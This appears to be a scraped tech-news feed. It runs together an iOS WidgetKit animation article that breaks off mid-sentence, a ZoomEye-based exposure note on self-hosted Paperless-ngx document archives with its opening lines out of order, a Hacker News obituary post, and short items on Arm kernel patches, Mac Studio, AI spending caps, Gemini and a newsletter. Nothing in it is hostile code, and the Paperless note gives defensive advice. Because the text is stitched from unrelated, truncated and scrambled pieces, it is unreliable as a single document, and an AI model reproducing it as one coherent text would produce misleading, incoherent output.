The motion design industry is accustomed to relying on established formats: Lottie, Rive, video, or frame sequences (PNG/GIF). However, when attempting to transfer these solutions to widgets (specifically for the Homescreen, Lockscreen, and Live Activities in iOS), engineering teams hit a fundamental technical barrier. The core problem does not lie in system-level prohibitions against dynamics. The error stems from attempting to use resource-heavy media formats and third-party rendering engines in an environment where device architecture strictly demands lightweight, declarative code. Trying to force standard animations into widgets inevitably leads to application crashes, severe device overheating, or outright rejections during the App Store moderation process. The WidgetKit architecture in the Apple ecosystem is designed around strict resource constraints to preserve device autonomy. Integrating standard asset files violates these boundaries for several structural reasons. Simulating animation through rapid frame switching is one of the most common architectural mistakes. A widget operates under a very strict RAM allocation limit. Loading dozens or hundreds of high-resolution images instantly overflows this memory stack. The operating system reacts by triggering a Jetsam Event—forcibly terminating the process to free up memory. As a result, users are left staring at a frozen or entirely blank screen instead of the widget interface. Popular platforms like Lottie and Rive operate by parsing files and rendering them through UIKit and CoreAnimation components. The WidgetKit architecture physically does not support these layers. Widgets are built exclusively on the declarative SwiftUI framework. It is systematically impossible to embed a third-party rendering engine on the iOS Homescreen—such code will simply fail to compile for the widget target. Using built-in video players or hidden web views to play media on widgets is actively blocked by the operating system. Even
6,918 Paperless matches: a document archive that was meant to replace the filing cabinet Paperless-ngx scans paper documents, runs optical character recognition over them, and stores the result as searchable files. Teams adopt it to stop losing invoices and contracts, which means the archive ends up holding exactly the records a company must protect. all scope. Some of those matches are unrelated projects that share the word, so the Paperless-ngx share of the total is smaller. A document archive is an identity record in disguise. Invoices carry bank details and addresses. Contracts name signatories. Employment paperwork includes national identifiers. Once scanned and indexed, all of it becomes searchable text with a single query box in front of it. Self-hosted deployments usually authenticate against a local user table, and many rely on a reverse proxy for TLS. The frequent mistakes are familiar. Accounts are created for family members or temporary staff and never removed. The archive sits on a public hostname because remote access was convenient. Backups are written to the same volume, so a compromise takes the copies too. Establish whether the archive must be reachable without a VPN. For most households and small teams the answer is no, and closing the port removes the risk entirely. The count is a starting point for scoping; an operator can restrict the query to their own address space and verify that nothing answers unexpectedly. The link reproduces the query used here. Paperless-ngx documentation: https://docs.paperless-ngx.com/ ZoomEye search, query title="Paperless", scope all, retrieved 2026-10-03, count 6,918
I heard from a friend of the family that Bob passed away in his sleep early Saturday. Very sad news. Bob, who's real name was Mark Stevens, was an early employee of Apple and was best known for his PBS documentaries, especially "Triumph of the Nerds". He will be missed. Comments URL: https://news.ycombinator.com/item?id=49949438 Points: 16 # Comments: 2
Arm sent out an initial set of patches this week working on support in the Linux kernel for TLBI Domains. This "TLBID" feature is an upcoming Arm architecture capability designed to increase performance on high core count systems...
Explore how Apple's Mac Studio has evolved, with internal upgrades, performance gains, and subtle design changes shaping each new generation of the desktop.
Here's a product feature which the world is going to need a whole lot more of over the coming months and years: default hard budget caps . I'm talking about the feature of pay-by-usage services and APIs that lets you say "after $X/month, cut this thing off and return errors". These need to be hard limits. Soft caps, "after $X/month, send me a warning email", will not cut it. Coding agents, and personal agents (coding agents wrapped in a less threatening UI), greatly reduce the friction of spinning up code that can do useful things. Sometimes those things cost money - calls to paid APIs, or hosted web applications, or systems that can bill for additional storage and compute. Nobody wants to wake up to an email sent at midnight warning about a budget limit and find that, while they slept, their rogue service had consumed several hundred (or several thousand) more dollars of usage. An argument against this is that businesses don't want their hosted applications to start throwing errors because some budget was exceeded. I expect that most businesses and individuals would prefer errors to a surprise $10,000+ bill. I think hard budget caps need to be the default. If someone wants to live dangerously they should be able to do that, but it needs to be on an opt-in basis. Have a nice, clear checkbox somewhere prominent: Remove the budget cap. My application will not be shut down if I exceed the configured budget limit, and I will be responsible for subsequent charges. The service I most want to see this from is AWS. I've heard plenty of stories from people who refuse to use AWS for personal projects out of (justified) fear that a runaway service might bankrupt them. I've also heard stories from people who didn't anticipate this and ended up seriously burned. ... and it turns out AWS finally launched spending limits a few weeks ago! From their announcement New AWS experience helps builders get started and ship faster on 16th September: When you're ready to upgrade to a paid p
Google's Gemini could soon access any file on your macOS device, open apps, browse the web, and perform actions without asking for permission every time. [...]
I just sent the September edition of my sponsors-only monthly newsletter . If you are a sponsor (or start a sponsorship now) you can access it here . This month: More Fable class models A pricing war 3D graphics, Blender, and pixel art LLMs come for mathematics So many more accidental cyberattacks The vulnapocalypse comes for Datasette What I'm using right now My software releases this month 2026 in LLMs (so far) Here's a copy of the August newsletter as a preview of what you'll get. Pay $10/month to stay a month ahead of the free copy! Tags: newsletter
Following the compute-based usage change in May, Google will soon introduce limits on which Gemini models free users and AI Plus subscribers can access. more…
Following the closure of Phil Tippett’s studio, hundreds of behind the scenes files from The Matrix, Jurassic Park and more have been uploaded to the Internet Archive